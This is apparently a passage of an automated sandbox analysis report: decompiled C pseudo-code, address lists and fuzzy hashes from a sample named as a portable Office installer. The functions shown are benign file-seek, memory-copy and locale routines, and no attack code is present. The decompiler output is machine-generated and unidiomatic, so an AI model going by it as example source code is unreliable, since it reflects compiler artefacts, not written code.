													if(_t127 == 0) {
														if(_t141 != 0) {
															 *_t141 = 1;
														}
														goto L45;
													} else {
														goto L16;
													}
												}
											}
										}
										goto L51;
										L39:
									} while ( *((intOrPtr*)(_t157 + 0x14)) > 0);
									if(_t122 == 0) {
										_t122 = _v12;
									}
									goto L42;
								}
							}
						} else {
							return 0xffffff9c;
						}
					}
				} else {
					L3:
					return 0xffffff9a;
				}
				L51:
			}

0x000c6ed0
0x000c6ed9
0x000c6edb
0x000c6ee0
0x000c6ee2
0x000c6ee5
0x000c6eea
0x000c6eec
0x000c6eec
0x000c6ef0
0x000c6efe
0x000c6f01
0x000c6f06
0x00000000
0x000c6f08
0x000c6f0a
0x000c6f18
0x000c6f1d
0x000c7101
0x000c7109
0x000c6f23
0x000c6f23
0x000c6f26
0x000c6f29
0x000c6f2e
0x000c6f30
0x000c6f30
0x000c6f36
0x000c70f1
0x000c70f9
0x000c6f40
0x000c6f40
0x000c6f44
0x000c6ff8
0x000c6ffb
0x000c7000
0x000c7005
0x000c702b
0x000c702f
0x000c70a4
0x000c70af
0x000c70b2
0x000c70ba
0x000c70bd
0x000c70c0
0x000c70c3
0x000c70c6
0x000c70c8
0x000c70cb
0x000c70d1
0x000c7120
0x000c7125
0x000c7127
0x000c7127
0x000c7132
0x000c70d9
0x000c70db
0x00000000
0x000c70dd
0x000c70dd
0x00000000
0x000c70dd
0x000c70db
0x000c7031
0x000c7037
0x000c703b
0x000c703f
0x000c7041
0x000c704a
0x000c704d
0x000c704e
0x000c7041
0x000c7052
0x000c705b
0x000c7060
0x000c7063
0x000c7066
0x000c7069
0x000c706c
0x000c706f
0x000c7072
0x000c7075
0x000c707b
0x000c707e
0x000c7085
0x000c7088
0x000c708e
0x000c708e
0x00000000
0x000c7088
0x000c7007
0x000c700a
0x000c700e
0x000c7011
0x000c7014
0x000c7014
0x000c7017
0x000c701a
0x000c701d
0x00000000
0x000c7114
0x000c711f
0x000c711f
0x000c701d
0x000c6f4a
0x000c6f4a
0x000c6f4f
0x00000000
0x000c6f55
0x000c6f55
0x000c6f5c
0x000c6f68
0x000c6f6b
0x000c6f6e
0x000c6f74
0x000c6f95
0x00000000
0x000c6f76
0x000c6f7a
0x000c710a
0x000c7113
0x000c6f80
0x000c6f8d
0x000c6f98
0x000c6fa1
0x000c6fa6
0x000c6fac
0x00000000
0x000c6fb2
0x000c6fb2
0x000c6fb4
0x000c6fb7
0x000c6fbe
0x000c6fc1
0x000c6fc4
0x000c6fc7
0x000c6fc9
0x000c6fcd
0x000c6fcf
0x000c6fd2
0x000c6fd5
0x000c6fe0
0x000c6fea
0x000c6fed
0x000c6ff0
0x000c6ff1
0x000c6ff5
0x000c6ff5
0x000c6fcd
0x00000000
0x000c6fc7
0x000c6fac
0x000c6f7a
0x000c6f5e
0x000c6f5e
0x000c6f62
0x000c70fc
0x000c70fe
0x000c70fe
0x00000000
0x00000000
0x00000000
0x00000000
0x000c6f62
0x000c6f5c
0x000c6f4f
0x00000000
0x000c70e0
0x000c70e0
0x000c70ec
0x000c70ee
0x000c70ee
0x00000000
0x000c70ec
0x000c6f36
0x000c6f0c
0x000c6f17
0x000c6f17
0x000c6f0a
0x000c6ef2
0x000c6ef2
0x000c6efd
0x000c6efd
0x00000000

APIs

SetFilePointer.KERNELBASE(FFFFFFFF,?,00000000,00000000,?,000C29E9,00000000,?,?,000C7D09,00004000,?), ref: 000C6F8D

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: FilePointer
String ID:
API String ID: 973152223-0
Opcode ID: f53020910f71a620652b378965fd28e5c6bc76f6761c18eb215eb8240967f46f
Instruction ID: cf30efe539380df42f6370ed15e669a1f40d95f3d237576a508257fdb90c8f6a
Opcode Fuzzy Hash: f53020910f71a620652b378965fd28e5c6bc76f6761c18eb215eb8240967f46f
Instruction Fuzzy Hash: 16815831A04B458FCB30CF69D480B6EB7F1AF44314F28897ED99A87641D772E886CB91

Uniqueness

Uniqueness Score: -1.00%

Function 000CA290, Relevance: 1.6, APIs: 1, Instructions: 93
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E000CA290(intOrPtr* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _t36;
				char _t38;
				intOrPtr _t46;
				intOrPtr _t52;
				intOrPtr _t55;
				intOrPtr _t59;
				intOrPtr _t63;
				signed int _t65;
				void* _t67;
				intOrPtr _t68;
				intOrPtr _t70;
				void* _t72;
				intOrPtr _t75;

				_t49 = __ecx;
				_t67 = (_t65 & 0xfffffff8) - 0x14;
				_t46 = _a12;
				asm("xorps xmm0, xmm0");
				_v16 = __ecx;
				asm("movlpd [esp+0x18], xmm0");
				_t68 = _t46;
				if(_t68 < 0) {
					L20:
					return _v12;
				} else {
					_t59 = _a8;
					if(_t68 > 0 || _t59 != 0) {
						_t55 = _v8;
						_v24 = _t55;
						_v20 = _v12;
						do {
							_t63 = E000CB270(_t49);
							_t36 = _t55;
							_v12 = _t36;
							_t70 = _t36;
							if(_t70 < 0 || _t70 <= 0 && _t63 == 0) {
								_t38 =  *((intOrPtr*)( *_v16 + 0x1c))();
								if(_t38 != 0xffffffff) {
									_t52 = _a4 + 1;
									_v20 = _v20 + 1;
									 *((char*)(_t52 - 1)) = _t38;
									_a4 = _t52;
									asm("adc dword [esp+0xc], 0x0");
									_t49 = _v16;
									_t59 = _t59 + 0xffffffff;
									asm("adc ebx, 0xffffffff");
									goto L16;
								}
							} else {
								_t72 = _t46 - _t36;
								if(_t72 <= 0 && (_t72 < 0 || _t59 < _t63)) {
									_t63 = _t59;
									_v12 = _t46;
								}
								if(_t63 != 0) {
									E000CE520(_a4,  *((intOrPtr*)( *((intOrPtr*)(_v16 + 0x1c)))), _t63);
									_t67 = _t67 + 0xc;
								}
								_a4 = _a4 + _t63;
								_v20 = _v20 + _t63;
								_t49 = _v16;
								asm("adc [esp+0xc], eax");
								_t59 = _t59 - _t63;
								asm("sbb ebx, eax");
								 *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x2c)))) =  *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x2c)))) - _t63;
								 *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x1c)))) =  *((intOrPtr*)( *((intOrPtr*)(_t49 + 0x1c)))) + _t63;
								goto L16;
							}
							break;
							L16:
							_t75 = _t46;
						} while (_t75 > 0 || _t75 >= 0 && _t59 != 0);
						return _v20;
					} else {
						goto L20;
					}
				}
			}

0x000ca290
0x000ca296
0x000ca29a
0x000ca29e
0x000ca2a2
0x000ca2a6
0x000ca2ac
0x000ca2ae
0x000ca383
0x000ca391
0x000ca2b4
0x000ca2b4
0x000ca2b7
0x000ca2c1
0x000ca2c9
0x000ca2cd
0x000ca2d1
0x000ca2d6
0x000ca2d8
0x000ca2da
0x000ca2de
0x000ca2e0
0x000ca33a
0x000ca340
0x000ca345
0x000ca346
0x000ca34b
0x000ca34e
0x000ca351
0x000ca356
0x000ca35a
0x000ca35d
0x00000000
0x000ca35d
0x000ca2e8
0x000ca2e8
0x000ca2ea
0x000ca2f2
0x000ca2f4
0x000ca2f4
0x000ca2fa
0x000ca309
0x000ca30e
0x000ca30e
0x000ca311
0x000ca314
0x000ca31c
0x000ca320
0x000ca324
0x000ca326
0x000ca32b
0x000ca330
0x00000000
0x000ca330
0x00000000
0x000ca360
0x000ca360
0x000ca360
0x000ca380
0x00000000
0x00000000
0x00000000
0x000ca2b7

APIs

_memmove.LIBCMT ref: 000CA309

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: _memmove
String ID:
API String ID: 4104443479-0
Opcode ID: 2330cba877e140c46b2111ef78519ddd44ea66fab15fc7ad4c8a5878cae98a69
Instruction ID: 19d105cc00d4b9a72bf5517ca7d84613b2fcaa91d0d7c621a52cf9b2b418f279
Opcode Fuzzy Hash: 2330cba877e140c46b2111ef78519ddd44ea66fab15fc7ad4c8a5878cae98a69
Instruction Fuzzy Hash: 52313E72A087598BC740CF5CC890A4EB7E1EF96768F148A1EF8948B252D731DD498BD3

Uniqueness

Uniqueness Score: -1.00%

Function 000CAE40, Relevance: 1.6, APIs: 1, Instructions: 80
COMMON

Download Yara Rule

C-Code - Quality: 78%

			E000CAE40(void* __ecx, intOrPtr __edx, intOrPtr* _a4, signed int _a8, signed int _a12, char _a16, intOrPtr _a20, intOrPtr _a24) {
				signed int _v8;
				intOrPtr _v16;
				char _v20;
				signed int _v24;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t31;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t42;
				void* _t46;
				void* _t49;
				signed int _t51;
				intOrPtr _t52;
				signed int _t56;
				void* _t62;
				intOrPtr _t63;
				intOrPtr* _t65;
				intOrPtr _t66;
				signed int _t67;
				signed int _t69;

				_t60 = __edx;
				_t69 = (_t67 & 0xfffffff8) - 0x14;
				_t31 =  *0xef6ac; // 0xcff43140
				_v8 = _t31 ^ _t69;
				_t51 = _a8;
				_t65 = _a4;
				_v20 = _a16;
				_t62 = __ecx;
				_v16 = _a20;
				_v24 = _a12;
				if( *((intOrPtr*)(__ecx + 0x50)) == 0 || E000CB4C0(__ecx, __edx) == 0) {
					L7:
					_t36 =  *0xe50e8; // 0xffffffff
					 *_t65 = _t36;
					_t37 =  *0xe50ec; // 0xffffffff
					 *((intOrPtr*)(_t65 + 4)) = _t37;
					 *((intOrPtr*)(_t65 + 8)) = 0;
					 *((intOrPtr*)(_t65 + 0xc)) = 0;
					 *((intOrPtr*)(_t65 + 0x10)) = 0;
				} else {
					_t42 = E000CDF8C(_t51, __edx, __ecx, _t65,  *((intOrPtr*)(__ecx + 0x50)),  &_v20); // executed
					_t69 = _t69 + 8;
					if(_t42 != 0) {
						goto L7;
					} else {
						_t56 = _v24;
						_t73 = _t51 | _t56;
						if((_t51 | _t56) == 0) {
							L5:
							_t46 = E000CDF37(_t51, _t60, _t62,  *((intOrPtr*)(_t62 + 0x50)),  &_v20); // executed
							_t69 = _t69 + 8;
							if(_t46 != 0) {
								goto L7;
							} else {
								 *((intOrPtr*)(_t62 + 0x48)) = _a24;
								E000CB6D0(_t62);
								_t60 =  *((intOrPtr*)(_t62 + 0x48));
								 *((intOrPtr*)(_t65 + 8)) = _v20;
								 *_t65 = 0;
								 *((intOrPtr*)(_t65 + 4)) = 0;
								 *((intOrPtr*)(_t65 + 0xc)) = _v16;
								 *((intOrPtr*)(_t65 + 0x10)) =  *((intOrPtr*)(_t62 + 0x48));
							}
						} else {
							_push(1);
							_push(_t56);
							_push(_t51);
							_push( *((intOrPtr*)(__ecx + 0x50)));
							_t49 = E000CDE04(_t51, __edx, __ecx, _t65, _t73); // executed
							_t69 = _t69 + 0x10;
							if(_t49 != 0) {
								goto L7;
							} else {
								goto L5;
							}
						}
					}
				}
				_pop(_t63);
				_pop(_t66);
				_pop(_t52);
				return E000CC7C7(_t52, _v8 ^ _t69, _t60, _t63, _t66);
			}

0x000cae40
0x000cae46
0x000cae49
0x000cae50
0x000cae58
0x000cae5c
0x000cae5f
0x000cae67
0x000cae69
0x000cae74
0x000cae78
0x000caef8
0x000caef8
0x000caefd
0x000caeff
0x000caf04
0x000caf07
0x000caf0e
0x000caf15
0x000cae83
0x000cae8b
0x000cae90
0x000cae95
0x00000000
0x000cae97
0x000cae97
0x000cae9d
0x000cae9f
0x000caeb4
0x000caebc
0x000caec1
0x000caec6
0x00000000
0x000caec8
0x000caecd
0x000caed0
0x000caed5
0x000caedc
0x000caee3
0x000caee9
0x000caef0
0x000caef3
0x000caef3
0x000caea1
0x000caea1
0x000caea3
0x000caea4
0x000caea5
0x000caea8
0x000caead
0x000caeb2
0x00000000
0x00000000
0x00000000
0x00000000
0x000caeb2
0x000cae9f
0x000cae95
0x000caf20
0x000caf23
0x000caf24
0x000caf2f

APIs

__fseeki64.LIBCMT ref: 000CAEA8

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __fseeki64
String ID:
API String ID: 3340294951-0
Opcode ID: 46b3b29dbe8304e169a6e89bbc033638e03d913beb65039c7ebcda8300ac66ab
Instruction ID: 4b45a0bb01c37847b26513158051c05b203bbeaf7e964170ec27a1a59a42aa2c
Opcode Fuzzy Hash: 46b3b29dbe8304e169a6e89bbc033638e03d913beb65039c7ebcda8300ac66ab
Instruction Fuzzy Hash: 7C3147B16047069FD714DF28C885B9AB7E8FF48318F00882EF8A987741E775E814CB92

Uniqueness

Uniqueness Score: -1.00%

Function 000CC704, Relevance: 1.6, APIs: 1, Instructions: 72
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E000CC704(void* __ebx, signed int _a8) {
				intOrPtr _v0;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t16;
				signed char _t17;
				signed int _t18;
				signed int _t19;
				signed int _t22;
				void* _t23;
				intOrPtr _t25;
				signed int _t28;
				signed int _t31;
				signed int _t34;
				void* _t38;

				_t23 = __ebx;
				_pop(_t36);
				_t16 = _a8;
				_t31 = _t16 & 0x00000004;
				_t28 = _t16 & 0x00000080;
				_t25 = 1;
				if((_t16 & 0x00000040) != 0) {
					_t16 = _t16 | 1;
				}
				if((_t16 & 0x00000008) != 0) {
					_t16 = _t16 | 0x00000002;
				}
				_t17 = _t16 & 0xffffff3b;
				_t34 = 0;
				while(_t25 != _t17) {
					_t25 =  *((intOrPtr*)(0xe515c + _t34 * 4));
					_t34 = _t34 + 1;
					if(_t25 != 0) {
						continue;
					}
					break;
				}
				if( *((intOrPtr*)(0xe5158 + _t34 * 4)) != 0) {
					__eflags = _t28;
					if(_t28 == 0) {
						L15:
						_t18 = E000CC70D(_v0, _t34, _a8); // executed
						_t34 = _t18;
						__eflags = _t34;
						if(_t34 == 0) {
							goto L9;
						} else {
							__eflags = _t31;
							if(__eflags == 0) {
								L19:
								_t19 = _t34;
							} else {
								_push(2);
								_push(0);
								_push(_t34);
								__eflags = E000CFE57(_t23, _t28, _t31, _t34, __eflags);
								if(__eflags == 0) {
									goto L19;
								} else {
									_push(_t34);
									goto L14;
								}
							}
						}
					} else {
						__eflags = _t17 & 0x0000000a;
						if((_t17 & 0x0000000a) == 0) {
							goto L15;
						} else {
							_t22 = E000CC70D(_v0, 0, _a8);
							_t38 = _t38 + 0xc;
							__eflags = _t22;
							if(__eflags == 0) {
								goto L15;
							} else {
								_push(_t22);
								L14:
								E000CE323(_t23, _t31, _t34, __eflags);
								goto L9;
							}
						}
					}
				} else {
					L9:
					_t19 = 0;
				}
				return _t19;
			}

0x000cc704
0x000cc707
0x000cc665
0x000cc670
0x000cc673
0x000cc679
0x000cc67c
0x000cc67e
0x000cc67e
0x000cc682
0x000cc684
0x000cc684
0x000cc687
0x000cc68c
0x000cc68e
0x000cc692
0x000cc699
0x000cc69c
0x00000000
0x00000000
0x00000000
0x000cc69c
0x000cc6a6
0x000cc6ac
0x000cc6ae
0x000cc6d1
0x000cc6d8
0x000cc6dd
0x000cc6e2
0x000cc6e4
0x00000000
0x000cc6e6
0x000cc6e6
0x000cc6e8
0x000cc6fe
0x000cc6fe
0x000cc6ea
0x000cc6ea
0x000cc6ec
0x000cc6ee
0x000cc6f7
0x000cc6f9
0x00000000
0x000cc6fb
0x000cc6fb
0x00000000
0x000cc6fb
0x000cc6f9
0x000cc6e8
0x000cc6b0
0x000cc6b0
0x000cc6b2
0x00000000
0x000cc6b4
0x000cc6bc
0x000cc6c1
0x000cc6c4
0x000cc6c6
0x00000000
0x000cc6c8
0x000cc6c8
0x000cc6c9
0x000cc6c9
0x00000000
0x000cc6ce
0x000cc6c6
0x000cc6b2
0x000cc6a8
0x000cc6a8
0x000cc6a8
0x000cc6a8
0x000cc703

APIs

_fseek.LIBCMT ref: 000CC6EF

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: _fseek
String ID:
API String ID: 2937370855-0
Opcode ID: 2e768863bbae188cdce3470b18ca32e8503b8a877b291414c0fb337fdb896a9f
Instruction ID: 7fb7e3f3663312972b9f6bb29afd73573fa935ac249af124f42e598fcb78cece
Opcode Fuzzy Hash: 2e768863bbae188cdce3470b18ca32e8503b8a877b291414c0fb337fdb896a9f
Instruction Fuzzy Hash: E211E032A0021666FB740BA8DE01FAE36C59B41BA1F18203CFD4EE6191EB75C8129290

Uniqueness

Uniqueness Score: -1.00%

Function 000DD31B, Relevance: 1.6, APIs: 1, Instructions: 66
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 40%

			E000DD31B(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				signed int* _t20;
				signed int _t22;
				signed int _t35;
				signed int _t41;
				signed int _t47;
				signed int _t48;
				signed int _t50;
				void* _t51;

				_push(0x10);
				_push(0xed6a0);
				E000D3B00(__ebx, __edi, __esi);
				_t50 =  *(_t51 + 8);
				_t55 = _t50 - 0xfffffffe;
				if(_t50 != 0xfffffffe) {
					__eflags = _t50;
					if(__eflags < 0) {
						L11:
						_t20 = E000D122D(__eflags);
						 *_t20 =  *_t20 & 0x00000000;
						__eflags =  *_t20;
						 *((intOrPtr*)(E000D1261( *_t20))) = 9;
						goto L12;
					} else {
						__eflags = _t50 -  *0xf1bf8; // 0x20
						if(__eflags >= 0) {
							goto L11;
						} else {
							_t41 = _t50 >> 5;
							_t47 = (_t50 & 0x0000001f) << 6;
							__eflags =  *( *((intOrPtr*)(0xf1760 + _t41 * 4)) + _t47 + 4) & 0x00000001;
							if(__eflags == 0) {
								goto L11;
							} else {
								__eflags = 0x7fffffff -  *((intOrPtr*)(_t51 + 0x10));
								asm("sbb eax, eax");
								__eflags = 0x80000000;
								if(0x80000000 != 0) {
									_push(_t50);
									E000DDBB2(_t41, __edx, _t47, _t50, 0x80000000);
									 *(_t51 - 4) =  *(_t51 - 4) & 0x00000000;
									__eflags =  *( *((intOrPtr*)(0xf1760 + _t41 * 4)) + _t47 + 4) & 0x00000001;
									if(__eflags == 0) {
										 *((intOrPtr*)(E000D1261(__eflags))) = 9;
										 *(E000D122D(__eflags)) =  *_t33 & 0x00000000;
										_t48 = _t47 | 0xffffffff;
										__eflags = _t48;
									} else {
										_push( *((intOrPtr*)(_t51 + 0x10)));
										_push( *((intOrPtr*)(_t51 + 0xc)));
										_push(_t50); // executed
										_t35 = E000DD423(); // executed
										_t48 = _t35;
									}
									 *(_t51 - 0x1c) = _t48;
									 *(_t51 - 4) = 0xfffffffe;
									E000DD3FA(_t50);
									_t23 = _t48;
								} else {
									 *(E000D122D(0x80000000)) =  *_t36 & 0x00000000;
									 *((intOrPtr*)(E000D1261(__eflags))) = 0x16;
									L12:
									_t22 = E000D3462();
									goto L13;
								}
							}
						}
					}
				} else {
					 *(E000D122D(_t55)) =  *_t38 & 0x00000000;
					_t22 = E000D1261(_t55);
					 *_t22 = 9;
					L13:
					_t23 = _t22 | 0xffffffff;
				}
				return E000D3B45(_t23);
			}

0x000dd31b
0x000dd31d
0x000dd322
0x000dd327
0x000dd32a
0x000dd32d
0x000dd347
0x000dd349
0x000dd402
0x000dd402
0x000dd407
0x000dd407
0x000dd40f
0x00000000
0x000dd34f
0x000dd34f
0x000dd355
0x00000000
0x000dd35b
0x000dd35d
0x000dd365
0x000dd374
0x000dd377
0x00000000
0x000dd37d
0x000dd382
0x000dd385
0x000dd387
0x000dd388
0x000dd39f
0x000dd3a0
0x000dd3a6
0x000dd3b1
0x000dd3b6
0x000dd3d0
0x000dd3db
0x000dd3de
0x000dd3de
0x000dd3b8
0x000dd3b8
0x000dd3bb
0x000dd3be
0x000dd3bf
0x000dd3c7
0x000dd3c7
0x000dd3e1
0x000dd3e4
0x000dd3eb
0x000dd3f0
0x000dd38a
0x000dd38f
0x000dd397
0x000dd415
0x000dd415
0x00000000
0x000dd415
0x000dd388
0x000dd377
0x000dd355
0x000dd32f
0x000dd334
0x000dd337
0x000dd33c
0x000dd41a
0x000dd41a
0x000dd41a
0x000dd422

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: __getptd_noexit
String ID:
API String ID: 3074181302-0
Opcode ID: 8bcb4cd19b84603d6c64e1b7e8c804ab5419d3cf6b06e38f8fd98deab6ea6239
Instruction ID: 5beaace2ae40b8e9f3887320abaca72ab4116d8561d464b8a7a942c1084cbed9
Opcode Fuzzy Hash: 8bcb4cd19b84603d6c64e1b7e8c804ab5419d3cf6b06e38f8fd98deab6ea6239
Instruction Fuzzy Hash: 85216FB28057449BD7116FA8C8427EC37A0AF52331F160283E9749B3E3CBB5A9519B72

Uniqueness

Uniqueness Score: -1.00%

Function 000C71C0, Relevance: 1.6, APIs: 1, Instructions: 64
COMMON

Download Yara Rule

C-Code - Quality: 95%

			E000C71C0(intOrPtr* __ecx, CHAR* _a4) {
				char _v8;
				char _t11;
				intOrPtr _t12;
				char* _t14;
				intOrPtr _t15;
				CHAR* _t20;
				char* _t26;
				CHAR* _t30;
				intOrPtr* _t34;
				void* _t38;

				_push(__ecx);
				_t34 = __ecx;
				if( *__ecx != 0 ||  *((intOrPtr*)(__ecx + 4)) != 0xffffffff) {
					return 0x1000000;
				} else {
					_t2 = _t34 + 0x140; // 0x140
					_t30 = _t2;
					GetCurrentDirectoryA(0x104, _t30);
					_t20 = _t30;
					_t3 =  &(_t20[1]); // 0x141
					_t26 = _t3;
					do {
						_t11 =  *_t20;
						_t20 =  &(_t20[1]);
					} while (_t11 != 0);
					_t21 = _t20 - _t26;
					_t12 =  *((intOrPtr*)(_t20 - _t26 + _t34 + 0x13f));
					if(_t12 != 0x5c && _t12 != 0x2f) {
						E000CD52D(_t30, 0x104, "\\");
						_t38 = _t38 + 0xc;
					}
					_t14 = E000C6000(_a4, _t21,  &_v8); // executed
					if(_t14 != 0) {
						_t15 = E000C6450(_t14, _t26); // executed
						_t25 =  ==  ? 0x200 : 0;
						 *_t34 = _t15;
						_t16 =  ==  ? 0x200 : 0;
						return  ==  ? 0x200 : 0;
					} else {
						return _v8;
					}
				}
			}

0x000c71c3
0x000c71c5
0x000c71cb
0x000c7265
0x000c71db
0x000c71db
0x000c71db
0x000c71e7
0x000c71ed
0x000c71ef
0x000c71ef
0x000c71f2
0x000c71f2
0x000c71f4
0x000c71f5
0x000c71f9
0x000c71fb
0x000c7204
0x000c7215
0x000c721a
0x000c721a
0x000c7225
0x000c722f
0x000c723e
0x000c724c
0x000c724f
0x000c7251
0x000c7258
0x000c7231
0x000c7239
0x000c7239
0x000c722f

APIs

GetCurrentDirectoryA.KERNEL32(00000104,00000140,?,00000000,00000000,?,000C7E2D,?,?,?,?), ref: 000C71E7

Part of subcall function 000C6450: SetFilePointer.KERNELBASE(?,?,00000000,00000000,00000140,00000000,00000000), ref: 000C6492

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: CurrentDirectoryFilePointer
String ID:
API String ID: 1155960611-0
Opcode ID: fa32f77805e369654849eb3a29df1f6b2215e446a4e9d1706e057320cc8cfc26
Instruction ID: 4c262270b142b258247f7081663a468c21dcaeee4ab8b8217aae3eec2f02e17d
Opcode Fuzzy Hash: fa32f77805e369654849eb3a29df1f6b2215e446a4e9d1706e057320cc8cfc26
Instruction Fuzzy Hash: 951129767042049BDB24CB2CE802FFE73D9DBD6320F40027EFD49C6281E6A25D468A90

Uniqueness

Uniqueness Score: -1.00%

Function 000C84E0, Relevance: 1.5, APIs: 1, Instructions: 36
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E000C84E0(void* __ebx) {
				void* __edi;
				void* __esi;
				intOrPtr* _t14;
				intOrPtr _t15;
				void* _t17;
				void* _t18;
				intOrPtr* _t19;
				void* _t20;
				void* _t24;

				_t20 = _t17;
				_push(4);
				 *((intOrPtr*)(_t20 + 0x30)) = 0;
				 *((intOrPtr*)(_t20 + 8)) = 0;
				 *((intOrPtr*)(_t20 + 0x10)) = 0;
				 *((intOrPtr*)(_t20 + 0x14)) = 0x201;
				 *((intOrPtr*)(_t20 + 0x18)) = 6;
				 *((intOrPtr*)(_t20 + 0x1c)) = 0;
				 *((intOrPtr*)(_t20 + 0x20)) = 0;
				 *((intOrPtr*)(_t20 + 0x24)) = 0;
				 *((intOrPtr*)(_t20 + 0x28)) = 0;
				 *((intOrPtr*)(_t20 + 0x2c)) = 0;
				 *((intOrPtr*)(_t20 + 0xc)) = 0;
				_t14 = E000CCE6F(__ebx, _t18, _t24);
				_t19 = _t14;
				_t25 = _t19;
				if(_t19 == 0) {
					 *((intOrPtr*)(_t20 + 0x30)) = 0;
					return _t14;
				} else {
					_push(1);
					 *_t19 = 0; // executed
					_t15 = E000CC18E(__ebx, _t19, _t20, _t25); // executed
					 *_t19 = _t15;
					 *((intOrPtr*)(_t20 + 0x30)) = _t19;
					return _t15;
				}
			}

0x000c84e2
0x000c84e5
0x000c84e7
0x000c84ee
0x000c84f5
0x000c84fc
0x000c8503
0x000c850a
0x000c8511
0x000c8518
0x000c851f
0x000c8526
0x000c852d
0x000c8534
0x000c8539
0x000c853e
0x000c8540
0x000c855c
0x000c8565
0x000c8542
0x000c8542
0x000c8544
0x000c854a
0x000c854f
0x000c8554
0x000c855a
0x000c855a

APIs

Part of subcall function 000CCE6F: _malloc.LIBCMT ref: 000CCE87

std::locale::_Init.LIBCPMT ref: 000C854A

Part of subcall function 000CC18E: __EH_prolog3.LIBCMT ref: 000CC195
Part of subcall function 000CC18E: std::_Lockit::_Lockit.LIBCPMT ref: 000CC19F
Part of subcall function 000CC18E: std::locale::_Setgloballocale.LIBCPMT ref: 000CC1BB
Part of subcall function 000CC18E: _Yarn.LIBCPMT ref: 000CC1D1

Memory Dump Source

Source File: 00000000.00000002.503764289.00000000000C1000.00000020.00020000.sdmp, Offset: 000C0000, based on PE: true

Associated: 00000000.00000002.503733350.00000000000C0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503854768.00000000000E4000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.503894188.00000000000EF000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.503914526.00000000000F3000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c0000_installer_office_portable_3_2_0_Italian.jbxd

Similarity

API ID: std::locale::_$H_prolog3InitLockitLockit::_SetgloballocaleYarn_mallocstd::_
String ID:
API String ID: 2823998849-0
Opcode ID: fdd9107ec2789f110af0a8342acae9f9fa0fc43e8a5fbd153d0239db4afd4b87
Instruction ID: 33dcbdc4f4e09a729da057f7b6ed1eeac4a516b4e5a24fb51a42a8a00f89feda
